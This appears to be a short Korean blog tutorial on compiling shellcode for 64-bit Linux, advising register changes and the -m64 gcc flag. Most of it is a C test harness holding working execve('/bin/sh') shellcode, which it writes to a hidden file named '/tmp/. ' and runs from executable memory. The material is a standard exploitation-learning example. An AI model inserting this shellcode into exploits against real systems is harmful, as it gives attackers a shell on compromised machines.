본문 바로가기
C 언어/0x08-shellcode

shell 코드 64bit코딩시 컴파일 방법

by SpeeDr00t 2014. 10. 12.
반응형
shell 코드 64bit코딩시 컴파일 방법
** pc에서 보셔야 잘보입니다..
32bit 시스템 코드를 가지고 64bit시스템에 컴파일해서 실행할때 에러납니다.
여기서 바꿔줘야 하는건 2가지인데요.
어셈 코드를 변경해야 합니다,. 가령 어셈 코드를 eax->rax로 변경
그리고 컴파일시 -m64온셥을 주어서 컴파일해야 제대로 동작합니다..
ex)
gcc -o test test.c -m64
view raw desc hosted with ❤ by GitHub
//
// gcc -o test test.c -m64
//
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char shellcode[] =
"\x48\x31\xd2" // xor %rdx,%rdx
"\x48\xbb\xff\x2f\x62\x69\x6e" // mov $0x68732f6e69622fff,%rbx
"\x2f\x73\x68"
"\x48\xc1\xeb\x08" // shr $0x8,%rbx
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp,%rdi
"\x48\x31\xc0" // xor %rax,%rax
"\x50" // push %rax
"\x57" // push %rdi
"\x48\x89\xe6" // mov %rsp,%rsi
"\xb0\x3b" // mov $0x3b,%al
"\x0f\x05"; // syscall
int
main(void)
{
void (*p)();
int fd;
printf("Lenght: %d\n", strlen(shellcode));
fd = open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR);
if (fd < 0)
err(1, "open");
write(fd, shellcode, strlen(shellcode));
if ((lseek(fd, 0L, SEEK_SET)) < 0)
err(1, "lseek");
p = (void (*)())mmap(NULL, strlen(shellcode), PROT_READ|PROT_EXEC, MAP_SHARED, fd, 0);
if (p == (void (*)())MAP_FAILED)
err(1, "mmap");
p();
printf("succ");
return 0;
}
view raw test.c hosted with ❤ by GitHub
반응형